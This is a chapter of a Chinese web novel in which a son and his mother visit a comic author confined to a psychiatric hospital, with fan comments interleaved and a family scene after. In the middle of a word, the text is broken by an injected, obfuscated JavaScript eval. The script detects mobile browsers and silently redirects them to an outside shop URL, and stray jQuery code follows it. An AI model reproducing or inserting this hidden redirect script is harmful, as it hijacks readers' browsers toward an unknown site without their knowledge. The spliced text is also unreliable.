文趣网 > 其他小说 > 反派崩坏世界前(快穿) > 85. 【贵族学院】中道崩殂
    年后滕清衍和滕萝聊天,问她,“安康精神病院关的是谁啊?”

    “我的高中同桌。”滕萝简单描述了一遍,魏莱被漫画作者夺舍,疯疯癫癫非要杀她的事。

    时光不等人,次日滕清衍决定背着滕萝跑去精神病院看望魏莱,没想到遇到了意想不到的人。

    “你怎么会在这?”

    “这话说的,这家精神病院本身就有闻家的投资。”他笑着调侃他,伸手勾住滕清衍的肩膀未遂。

    滕清衍内心警惕,闻樾这个笑面虎,连连后退,“闻表哥说笑了,我只是感到惊讶而已。这里有表哥看望的病人吗?”

    闻樾眯眼轻笑:“下来巡查一番。”

    滕清衍不想过多纠缠,“闻表哥继续,我就先走了。”

    “去见魏莱吗?”他眼睛眯起,嘴角带着惯有的张扬恣意的微笑,容貌和沈斫年有五六分相似,却比他更从容,更多情。

    “我让他先来了,表哥有什么事吗?”滕萝走进大厅,站在滕清衍面前,笑意盈盈对上闻樾。

    “只是好奇,你怎么三番四次对他念念不忘?”

    “毕竟是老同学,虽说后面犯癫发疯,终究当年有同学情谊。”

    拿刀刺你了还讲同学情意。

    闻樾被她乐着,挑眉展臂让滕萝两人先进。

    滕萝面不改色拉着滕清衍上前。

    “你怎么来了?”

    “偷偷背着我一个人干什么?”

    滕清衍摸了摸鼻子,“我也没干什么啊。”

    铃铛创业未半而中道崩殂。

    她压低声音:“魏莱是个疯的,你也跟着疯了吗?”

    “不主动出击如何能避免之后的处境?你从来不和我说从前的事,梁砚修那个闷葫芦更不可能说,我什么都不知道,我该怎么帮你?难道要我眼睁睁看着你走上既定的命运吗?”

    “我不信他说的,也不信什么命。我要是信命,早死在第……”

    “我担心你。”

    对面与自己相似的桃花眼湿乎乎的,蝶翼般睫毛沾上露珠,他胸腔缓缓起伏,好不可怜。

    滕萝压下心中的火气,止住话头。

    她偏过视线:“先去看看。”

    滕清衍点点头,跟在滕萝身后,观察横向的走廊,外表看精神病院的病房和平常医院并无不同。

    她停在一扇窗户面前,“里面的人就是魏莱。”

    滕清衍抬眸望去,男人长相清秀,穿着条纹病服坐在床上,察觉到注视转身望向他们,蹭的一下从床上起身,三两步贴上窗户。

    “滕萝!你放我出去!”

    滕萝轻笑,目光闪过嘲讽。滕清衍上前挡住魏莱张狂的面庞,魏莱看到他们相似的脸愣住。

    “你们……”他嘴里呢喃着不可能,“你怎么在这?这到底是什么世界?”

    滕清衍与她视线交汇,滕萝端起微笑,独自坐到走廊的长椅上。

    他转头声音温柔,“你认识我吗?”

    “我怎么不认识你!”魏莱后退几步,神色癫狂,拼命抓住自己的头发蹂孽,“你明明……”

    “明明什么?”他望向他不可置信的眼,轻声道,“明明不该出现在这个时间线对吗?可我确实来了,我想知道你笔下的未来,不过我想你应该不大会直接告诉我,那我和你说说吧。”

    他笑了笑:“我十六岁通过生物竞赛得到圣兰斯的录取,我没有选择入学,教授破格允许我跟在他身边学习,十八岁独立完成的实验部分足以现在的我申请圣兰斯。此外,我是物理竞赛全城区第一,魏先生,我前程大好,这似乎和您的想象不同。”

    他笑起来如沐春风,温温柔柔落在魏莱心上如同雷劈。

    “城区三大组织,四大家族,你笔下的一切都是那么分明。簪缨世族、门阀权贵、贩夫走卒皆被你安排。你高傲地写下妈妈的一生,可世界会按照你的意愿发展吗?我的确不知道你的安排,我只知道未来第四城区回归,执委会重新执政,妈妈会匹敌四大家族……”

    他语调拉长,余光注意魏莱的神色,他果真被激怒,比方才更甚:“不可能!”

    “为什么不可能?梁家为她所有,路议员重新登台重新和执委会交换,闻家沈家更不必说,更何况楚会长收养了妈妈,执委会收入囊中指日可待。你带着你可笑的幻想一辈子待在这个鬼地方,永远都别想出去,没有人会帮你。”

    “楚绯早死了!哈哈哈哈——”魏莱仰天大笑,“我知道了,我知道这是一个什么世界了!”

    他疯疯癫癫在屋子里乱窜,红肿的双目骤然放大在滕清衍面前,“你真是好命,我明明安排你和她成为对照组,一个生父不明的畜生在她死后像垃圾一样被他们随手抛弃。这个社会就是这样,男人会有很多孩子,倘若男人不在乎这个女人,连带她的孩子,哪怕是儿子也会弃之若履。你活该生活在水深火热之中,过着像她当年一样穷困潦倒的生活,孤苦伶仃,报复社会,最后死在男主们的手上。偏生她活下来了!”

    “活下来了!啊哈哈哈哈哈——”魏莱赤红着双目望向靠在长椅上的滕萝,她目光淡淡,没被他影响一句。

    虚假的脸让他恨不得撕烂,他猛烈拍打玻璃,“滕萝!你猜他是怎么死的?你爱梁砚修,可他不要你!他根本瞧不起你那可笑的自尊,连你的儿子最后都会被他丢去海里喂鱼,和你的下场一样!”

    魏莱设定好了结局,苏盈月作为穿越女主,会撕破原女主滕萝虚伪的假面,让男主们认识到她本质是一个贪恋虚荣,爱慕权贵的烂人。

    而她被揭穿后恬不知耻在宴会上下药,反噬自身,连和自己一度春风的人都不知道是谁,生下野种。

    若不是虞濯枝出手帮她,她早被震怒的男人们扔回第四城区红灯街口。

    魏莱绝非心软,恶毒女配的设定就像打不死的小强,必须不断作妖才能衬托的女主的完美,让男主们更加厌恶她。

    滕萝生下滕清衍,把男主们当接盘侠,伪造假的亲子鉴定,后期被苏盈月揭穿,彻底惹怒他们,让人将她从游轮扔进海中喂鱼。

    魏莱画到这里上传,评论区都在庆贺恶毒女配下线,有零星几个评论发出抗议,舆论逐渐扩大,他受到了上千条辱骂。

    魏莱才不会管,吵的越厉害越好,争吵带来的流量让他的漫画一炮而红。

    也衍生出了众多同人创作。

    千千万万。

    ……

    L1:“月亮本身不会发光,是因为反射了太阳的光才有了明亮。月亮,我说阿萝,整本漫画都在描述她得到了上位者的照耀而明亮,可忘记了月亮自身深邃而神秘,温柔静谧。月亮本身就会引起潮汐啊!”

    L2:“亚马逊热带雨林的一只蝴蝶扇动翅膀,也许两周后会引起得克萨斯克州的飓风。我保证月亮很重要!所以像蝴蝶一样振翅高飞吧!”

    ……

    L15:“活下去,无论如何,月亮你一定要活下去!你不应该丧命于此,你应该有更广阔的未来。”

    L16:“你撑过了最艰难的时候,你没有放弃自己的生命,世上没有人可以替你放弃!凭什么要写月亮死!”

    L28:“芝加哥没有海,牡蛎带来了海。你们笑她身份低微,笑她不自量力,笑她攀附权贵,她凭什么不能?她小心周旋,选择活下去给母亲报仇在你们眼中是错,说她应该去死,她凭什么去死?自视甚高的天龙人才该去死!

    我要写她的人生,牡蛎会吞下沙粒,包裹住伤痛吐出珍珠,我要她的人生如珍珠般璀璨夺目!”

    L29:“老大,我们小狗也要死吗?小狗不知道铃铛是他的孩子,月亮伪造N个亲子鉴定,只有他信了。”

    L30:“先把楚妈咪救活,死老登写了那么多伏笔,写楚绯就是楚飞鸿,写她的抱负与雄心,结果让她潦草死在被追杀的路上,这简直是对楚飞鸿最大的侮辱!老登就不想让月亮有任何的后盾!”

    L31:“zc。”

    “zc。”

    “蹲。”

    ……

    L10086:“啊……好多人啊jgp.我确实写了,有些小伙伴关注我老福特的应该看见,我觉得写月亮有些神奇。”

    “太太你是我们村最好的厨子,展开说说。”

    “那我重新开个帖子吧。”

    随处找座山躺躺:“本人是咱们村的厨子,关于月亮的神奇事件在于我其实有构思过怎么让妈妈活下来,但是我发现它成为了一种命中注定,仿佛我在下笔的那一瞬间,妈妈的命运就已经注定了,妈妈会成为月亮人生重要的转折。

    我感觉我不是在构思剧情,而是亲眼旁观了滕萝真正应该拥有的一生。我是一个记录者,让这段经历得以重见天日。看过的朋友都知道,春天对于月亮实在是一个不太好的季节。在这个季节母亲去世,对她打击极重,一度寻死。后面月亮还怀孕了,被四处针对。关于沈斫年我目前对于他们的感情线并不明确。小伙伴们可以等一等,我再请一下神上身。”

    L1:“老师这边休息够了吗建议马上更新呢”

    L2:“老师的手机是不是坏了?我怎么滑到底了?”

    L3:“那叫没了,轻置玉臀。”

    “蹲。”

    ……

    L927:“上苍请让月亮有自己的人生吧。老师可以让小铃铛穿过去吗?他们母子太煎熬了,月亮其实很聪明,小铃铛才会在生物有这么高的天赋,到最后引发生物危机,怎的一个惨字了得。”

    L978:“四大城区的世界层次太分明,世上成为四种人,人上人,人,卑微的人,低贱的人。大大扩大了世界范围,咱们运转的空间就大了,楚妈咪活下去的几率好好提升,等待我方妈咪大杀四方!”

    魏莱癫狂大笑,这根本不是他的世界,而是那群自诩同人女的同人世界,他起初不以为然,他才是这个世界的创造者,没想到牡蛎真能吐出珍珠。

    滕萝不为所动,滕清衍从后扶住她轻微颤抖的肩膀,柔声道,“楚姥姥不会有事的,我向你保证。”

    这个世界应该彻底魏莱的掌控。

    妈妈才不是一夜情生下他的,魏莱尽瞎说。

    什么伪造亲子鉴定找接盘侠,说的什么鬼话,低劣的bro,恶心。

    明明是梁砚修上赶着非要当他爹。

    滕清衍见他没用,心中默默筹划他的结局。

    “妈妈我们走吧。”

    不管何种情况,他和妈妈一起面对。

    精神病

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861404|212010||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    院为了防止病人逃跑,封闭式的房门进出都需要医生两道房卡解禁。

    魏莱扛起椅子砸向玻璃,滕萝下意识呈现防御姿态。

    他无能狂怒疯狂用椅子砸玻璃,可他低估了玻璃的坚固程度,闻沈两家家大业大,特意安置的防弹玻璃,任魏莱千百次捶打也无济于事。

    滕清衍按响走廊的呼叫铃,这是精神病院防止病人发生意外特意安排的门铃。

    “一个小时也到了,该查岗了。”滕清衍提前摸清了安康精神病院的查岗时间,抬手看向手表,眸光冷淡。

    滕萝挥了挥手,赶在众人前往之际朝他扬起笑。

    闻樾姗姗来迟,彼时滕清衍正和医生护士说明情况。

    “出什么事了?”

    “病人出现攻击性行为,非暴力沟通无法安抚病人的情绪,需要注射镇静药物。”

    闻樾笑得无奈,“病人总是这样,必要时刻也要采取一些物理手段,也是为了其他人的安危啊。”

    医生和护士控制不住魏莱,联合几个高个安保才将人按住注射药物。

    他走到滕萝面前,吊儿郎当,贱兮兮的笑,“吓到了?以前怎么不知道你胆子这么小?”

    “闻表哥!”

    当着他面勾引他妈妈!

    这个时候就忘了自己的好弟弟,居然撬沈斫年的墙角。

    闻樾耸了耸肩,转身笑着开口,“病人情况太严重,务必派安保严加管控,时刻跟随。”

    完全剥夺了魏莱吃饭时候放风时间。

    “放心,他出不去的。”

    他永远是这一副游刃有余,玩弄人间的姿态,好心询问滕萝的意见,“或者扔进海里喂鱼给你解解气?”

    滕萝握住滕清衍的手臂,“不用了。清衍,我们走。”

    滕清衍扭头看他,他毫不在意地耸肩轻笑,还朝他挥了挥手以做告别。

    他收回目光,跟着滕萝坐在车里。

    “我早说了,你找他没用。”

    “有用的。”滕清衍朝她笑,“至少知道你嘴里所谓的漫画是假的。”

    “我早知道。”

    滕清衍傻笑,和莉莉丝一样嬉皮笑脸,滕萝推了一把他的头,他捂住头抿唇轻笑。

    回到西郊别墅,滕萝看见路家的车脸上扬起真情实意的笑,“是阿枝。”

    虞濯枝局促坐在沙发上,不似沈斫年和路盛一般夹枪带棒的讲话,也亏了他们讲话,她抽出空和莉莉丝玩。

    “阿枝,我回来了。”

    听见滕萝的声音,虞濯枝眼睛亮起,“阿萝。”

    她三两步上前抱住她,“过两天就是你的生日了。”

    “某个大忙人不会连女朋友生日也忘了吧。”

    沈斫年对路盛翻了个白眼,“忘了你才对。”

    滕清衍:“你忙什么?”

    “公司一个投资项目,我负责跟进一下,不是很忙。”沈斫年搭上沈斫年的肩。

    “难怪最近几天不见你。”

    “怎么?想我啦?”

    沈斫年犯贱逗他,滕清衍懒得理,正打算拍开他的手,突然想起他跟着梁砚修参加为数不多的宴会时,听到有关沈斫年的风言风语。

    “是实验项目吗?”

    沈斫年惊诧:“你咋知道?我跟你说过?”

    “不行,不能去。你们项目组的成员有一个人人品不行。”鉴于虞濯枝和路盛在场,滕清衍不能提未来的事。

    “他会害了你的。”

    “哎呀,不要担心了。”

    “我才不担心你,你出事…姐姐会担心的,不准去。”

    “行行行我信你,不去了。我把这个项目托付给其他人。”

    提到滕萝,沈斫年神色认真起来,答应滕清衍。

    “尽快。”

    “嗯嗯。”

    到底谁是爸爸谁是儿子?

    滕萝问虞濯枝的情况,虞濯枝摸摸莉莉丝的尾巴,柔声道,“我……好神奇,我有点害怕还有点雀跃,我没想到除了你们还有人能看见我。”

    滕萝握住她的手,目光温柔,“想做什么就去做,无论发生什么事,我都会陪着你的。”

    虞濯枝眼眸发光,重重点头,“嗯!”

    路盛从身后握住虞濯枝的手,很想开口。虞濯枝有个习惯,她在和别人(其实只有滕萝)说话的时候,外人不能打扰,哪怕路盛也是。

    上次路盛啧了一声,虞濯枝回去三天没理他。

    路盛废了老大劲才把人哄好。

    “中午吃什么?”

    窗外大雪纷飞,雪落在每一寸土地上,落在街道树木的枝丫上,落在玻璃花房白葡萄百合的上空。沈斫年瞧了一眼,心里庆幸月亮回来的时间刚好。

    她喜欢赏雪,靠在阳台的藤椅上能独坐很久,但她是不喜欢雪落在身上的,打湿一缕发丝,她都要委屈的要哭。

    滕萝不知道吃什么,但先让虞濯枝留下,等雪停了再走。

    “住到你生日那天。”

    她闻言轻笑,“好啊。”

    沈斫年望着她的身影眼眸荡漾起星星点点的笑意,滕清衍没眼看,顺着他的目光同样看她。

    事情的转折点会在这里吗?

    马上就要春天了。